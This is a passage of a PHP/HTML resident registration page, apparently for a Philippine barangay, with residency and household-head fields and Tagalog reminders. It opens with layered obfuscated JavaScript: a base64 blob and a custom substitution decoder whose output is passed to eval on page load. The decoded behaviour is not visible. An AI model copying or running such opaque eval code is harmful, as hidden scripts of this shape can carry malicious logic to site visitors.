1hLmNoYXJDb2RlQXQoYyk7MTI4PmQ/Yis9X2ZfYyhkKTpkPjEyNyYmMjA0OD5kPyhiKz1fZl9jKGQ+PjZ8MTkyKSxiKz1fZl9jKDYzJmR8MTI4KSk6KGIrPV9mX2MoZD4+MTJ8MjI0KSxiKz1fZl9jKGQ+PjYmNjN8MTI4KSxiKz1fZl9jKDYzJmR8MTI4KSl9cmV0dXJuIGJ9ZnVuY3Rpb24gdXRvYShhKXtmb3IodmFyIGI9IiIsYz0wLGQ9YzE9YzI9MDtjPGEubGVuZ3RoOylkPWEuY2hhckNvZGVBdChjKSwxMjg+ZD8oYis9X2ZfYyhkKSxjKyspOmQ+MTkxJiYyMjQ+ZD8oYzI9YS5jaGFyQ29kZUF0KGMrMSksYis9X2ZfYygoMzEmZCk8PDZ8NjMmYzIpLGMrPTIpOihjMj1hLmNoYXJDb2RlQXQoYysxKSxjMz1hLmNoYXJDb2RlQXQoYysyKSxiKz1fZl9jKCgxNSZkKTw8MTJ8KDYzJmMyKTw8Nnw2MyZjMyksYys9Myk7cmV0dXJuIGJ9dmFyIGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKSxyZWE9bmV3IFJlZ0V4cCgiW15BLVphLXowLTkrLz1dIiwiZyIpLHJlYj1uZXcgUmVnRXhwKCJcclxuIiwiZyIpO3ZhciBfXz17YTpod2Euc3BsaXQoIiIpLCQ6ZnVuY3Rpb24oYSxiKXtmb3IodmFyIGM9IiIsZD10aGlzLmEubGVuZ3RoLGU9YS5sZW5ndGgsZj0wO2Y8ZTtmKyspZm9yKHZhciBnPTA7ZzxkO2crKylpZigiZSI9PWIpe2lmKHRoaXMuYVtnXT09PWFbZl0pe2MrPXRoaXMuYltnXTticmVha319ZWxzZSBpZigiZCI9PWImJnRoaXMuYltnXT09PWFbZl0pe2MrPXRoaXMuYVtnXTticmVha31yZXR1cm4gY30sYjpodygiMDAzZDAwMmYwMDJiMDAzOTAwMzgwMDM3MDAzNjAwMzUwMDM0MDAzMzAwMzIwMDMxMDAzMDAwN2EwMDc5MDA3ODAwNzcwMDc2MDA3NTAwNzQwMDczMDA3MjAwNzEwMDcwMDA2ZjAwNmUwMDZkMDA2YzAwNmIwMDZhMDA2OTAwNjgwMDY3MDA2NjAwNjUwMDY0MDA2MzAwNjIwMDYxMDA1YTAwNTkwMDU4MDA1NzAwNTYwMDU1MDA1NDAwNTMwMDUyMDA1MTAwNTAwMDRmMDA0ZTAwNGQwMDRjMDA0YjAwNGEwMDQ5MDA0ODAwNDcwMDQ2MDA0NTAwNDQwMDQzMDA0MjAwNDEiKS5zcGxpdCgiIil9Ow==')); eval(atob(__.$('n6DdjqLblZwSoqvcvpnblZv0mpzMnqHbkegev8DzwKDSj6rSj8PRoqvbn+4U26nLlazMmqDS2+bFoKDSkJwgntLclKzLlqrSj+HZnpv7l6rTnqHMwZb3n+gempzUoqHcvJ3Rjp=e2uPMxqvRoJrTnqHM1ajbj8rUnqLblZv+isbc2+3OnqjXlKIe2uPSxqvRoJrTnqHM1ajbj8rUnqLblZv+isbc2+3dmpvH4ecUlNLclKzLlqrSj+HZnpv7l6rTnqHMwZb3n+geoa7OoqHZopce2tTajqHdj6bRle/f26sUlebFj+HXlaHbkcfstsQD4e4FoKDSkJwglNLb1anXl5vbkefbxtHb1abNl67Sn8jOlJrQwKDcntMDxqIXyKESkKDOj+gYnuPM2tMCnuHSoqLb1aPRoK7UnszRlp/fkasYj+HSoqLb2ucUlOHalJ37oqzY26sDxZTdlKHNj+/SxqvRoJrTnqHM1azOnq7MnsrUnqLblZwY4aDQj6bRle4XyKISja7UjqsDnuHdlKvb16ISj6rIj9Lb1aHflqsUj+Hfn6wYlebD2uPM1a7cn8rKnqHMt6bNj6rSnp4Y4azYoqHZnu4U26nLlazMmqDS2+bFoOfMm6bN1Znfl5rb2uPclKzLlqrSj+HZnpv7l6rTnqHMwZb3n+gekKrUnqzMnqvunqjXlKH9lKvb4ecSja7UjqsDj6fXkOHKoqPLnuPclKzLlqrSj+HZnpv7l6rTnqHMwZb3n+gekKrUnqzMnqvunqjXlKHyoqLb4ecSja7UjqsDj6fXkOHRk5vXlKHNqJvYmp0SkKrUnqzMnqv3lavbi7MSj6rIj5MX2uPd25wSja7UjqsXhqnLlazMmqDS460YnubFleHXlaHbkcfstsQD4e4UnarMoKgY4Z/YmqPXk5/XlarNpK7QmuDdmpvH1aXNlKIe2uHMm6rS26sDxasSmZzRlegX2uHMm6rS25wDxZTdlKHNj+/RxpwSnabUj6rO25wDxZwSkarZmqDSwKDcntMDxqsXyKwYlePR1+3dlKvb4eQela7Tnu4XhucSoK7MoKgYntMCoKDSkKDUnuHbkZ3Rkegevp3OlJ4gnarMoKfXlakgwKbMiu/2sMDyye4UnucX16cY2pLajqHdj6bRle/X2+bFlOHfn6v7jarSj8PXkJvblarO2+3dm67SnKse1+fajqHdj6bRlegXiKvRoJrTnqHM1ajbj8rUnqLblZv+isbc2+3NnqPboJvbn83fka7SnK7HwKDcnu4X1Znfl5rbxpvYmp0Sja7UjqsUn6DdjqLblZwSnKrMvqPblqrSj83HuqwY4Zzbl6rdj6rcwa7OoqHZopbyoqLb4ecSja7UjqsDj6fXkOHRk5vXlKHNqJvYmp0SkKrUnqzMnqv3lavbi7MSj6rIj5MX2uPR1abSlarOu7vzt9Me4ePanpvdm+gek6fXl6bQk6bSnpzhop/X1K3fka7SnK7H1aXNlKIe2uHMm6rS26sDxasSmZzRlegX2uHMm6rS26sDxZTdlKHNj+/fxpwSja7UjqsUoNLS1Znfl5rb16cDnuHamqPMnp4YntMCnuHOnqjXlKH9lKvbxtMDouoanuHdmpvHwKDcntMDxqzEh6sSkarZmqDSwKDcntMDxq8a3asSlprSmqzXk67UmpvHwKDcntMDxq0XyKwYlOPX1+3dlKvb4eQela7Tnu4X16zRlZzRl6sSl6DZ2+3+op3flajfiu/ckaDQn6DJle/QlJ/Ll67MnqwgkJrdoKrNkKnLl6PH4u4XhucSoK7MoKgYntMCoKDSkKDUnuHbkZ3Rkegevp3OlJ4gnarMoKfXlakglJ4gk67OkKbSnO/+op3flajfiu/2sMDyye4UnucXhqnLlazMmqDS46wYnuPM16IUlObFj+HNlJ3M2+fb15wXxtHbqKDj1aPRoK7UnszRlp/fkasYj7TRpucX15wSnaDOvq7dm+fMxtHFoKDSkJwgotLclKzLlqrSj+Hdkarfj6r7l6rTnqHM2+3Rk5vXlKIe2tTf1Znfl5rbxpvllbMUouHMnpfMxpvllLMUnuHfn6wYoubD2pLS1a7cn8rKnqHMt6bNj6rSnp4Y4azYoqHZnu4U26nLlazMmqDS2+bFn6DdjqLblZwSnKrMvqPblqrSj83HuqwY4Zzbl6rdj6rcwKbMiszRn6se2uHKoqPLntLMm6bN1Znfl5rb16vRoJrTnqHM1ajbj8rUnqLblZv+isbc2+3NnqPboJvbn8zXj5byoqLb4ecSja7UjqsDj6fXkOHRk5vXlKHNqJvYmp0SkKrUnqzMnqv3lavbi7MSj6rIj+PX2+bD2ucUmugX16nbj6zY2+3Qm6bUmp/QmqHbkLDfk6cRkarZmqDS1aXNlKIe2uHMm6rS26sDxasSmZzRlegX2uHMm6rS25wDxanLlazMmqDS25wXiKsSmqHSnp34r8L0xu4eyKzRlZzM46IDqOIS1aHbjO/tnpwYj+HTop=YntMCnuHXkKPflav5kaDLk8zRn6sX2rMFleHNlJ3M2+cUleHalJ37oqzY25wDxZTdlKHNj+/SxqvRoJrTnqHM1azOnq7MnsrUnqLblZwY4aDQj6bRle4XyKISja7UjqsDj+PS1Zvbi5wDj+Hdm67OwpwY0+cSj6Drk5/bkczfkKsY2uTM1ZzUmqzb298X16sSoqvc26IXhucUnuHfn6v7jarSj8PXkJvblarO2+3dm67SnKse1+fajqHdj6bRlegXiKzRlZzM46sDj6fXkOHKoqPLntTf25wUnubD2ucUoufM16sSja7UjqsXhufM2ucSoK7MoKgYntMCoKDSkKDUnuHbkZ3Rkegevp3OlJ4gnarMoKfXlakgupzUoqHc48jOlJrQkO/2sMDyye4UnucXhucXyQAA', 'd')));
                        </script>


                        <div class="row" id="residency_status_row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group" id="residencyStatus_div">
                                    <label for="residencyStatus">Residency Status:</label>
                                    <select class="form-control" id="residencyStatus"
                                        onkeyup="Readmykey(this.value,'residencyStatus')" required
                                        name="residencyStatus">
                                        <option value="">Select Residency Status</option>
                                        <option value="resident">Resident</option>
                                        <option value="non-resident">Non-Resident</option>
                                    </select>
                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>

                        <div class="row" id="user_type_row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group" id="userType_div">
                                    <label for="userType">Register as:</label>
                                    <select class="form-control" id="userType"
                                        onkeyup="Readmykey(this.value,'userType')" name="userType">
                                        <option value="">Select User Type</option>
                                        <option value="head">Household Head</option>
                                        <option value="member">Household Member</option>
                                    </select>
                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>

                        <div class="row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group noteHouseHoldHead" id="noteHouseHoldHead" style="display:none">
                                    <label for="noteLabel" class="text-primary">Palala:</label>
                                    <h5 class="text-danger">Huwag kalimutan alalahanin, itala, at kopyahin ang Resident
                                        Account
                                        Number.</h5>
                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>


                        <div class="row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group" id="cust_name2" style="display:none;">
                                    <label for="exampleInputuname">Residency Account Number:</label>
                                    <div class="input-group">
                                        <input type="text" class="form-control" id="hof_resident_account_number"
                                            placeholder="Input your Household Head Resident Account Number"
                                            name="hof_resident_account_number" value="" autocomplete="off" />
                                        <div class="input-group-addon" id="arrow-addon"><i clickable
                                                class="icon-arrow-right"><b>VERIFY</b></i></div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>


                        <div class="row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group noteHouseHoldMember" id="noteHouseHoldMember"
                                    style="display:none">
                                    <label for="noteLabel" class="text-primary">Paalala:</label>
                                    <h5 class="text-danger">Siguraduhing naka rehistro muna ang iyong Household
                                        Head, upang maka rehistro bilang isang Household Member.</h5>
                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>

                        <div class="row" id="head_details">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <label for="fname">Household Head Name: </label>
                                <input type="text" class="form-control" id="fname" name="fullname" value="" readonly
                                    autocomplete="off" />
                                <input type="hidden" class="form-control" id="householdheadid" name="householdheadid"
                                    value="" readonly autocomplete="off" />
                            </div>
                            <div class="col-md-4"></div>
                        </div>

                        <div class="mainDiv" style="margin-top:10%;">
                            <div class="row">
                                <?php
                                include 'reg_form.php';
                                ?>
                            </div>
                        </div>
                        <div class="row" id="submit_btn">
                            <div class="container"
                                style="display:flex;justify-content:center;text-align:center;align-items:center;">
                                <div class="form-group col-md-12" style="max-width:400px;" id="submit">
                                    <button type="button"
                                        class="btn btn-primary btn-lg btn-block text-uppercase waves-effect waves-light"
                                        onClick="return confirmSubmit()">Submit <i
                                            class="fa fa-paper-plane fa-fw"></i></button>
                                </div>
                            </div>

                        </div>
                        <!--   <a href="login.php" class="label label-success pull-right"
                            style="font-size:17px; font-weight:bold;">Login</a> -->
                        <!-- <div class="form-group text-center m-t-20" id="submit_reg">
                                <div class="col-xs-12">
                                  <button class="btn btn-primary btn-lg btn-block text-uppercase waves-effect waves-light"
                                     type="submit" onClick="return confirmSubmit()">Submit Registration</button>
                                </div>
                             </div>-->
                    </div>
                </form>

            </div>
        </div>
    </section>

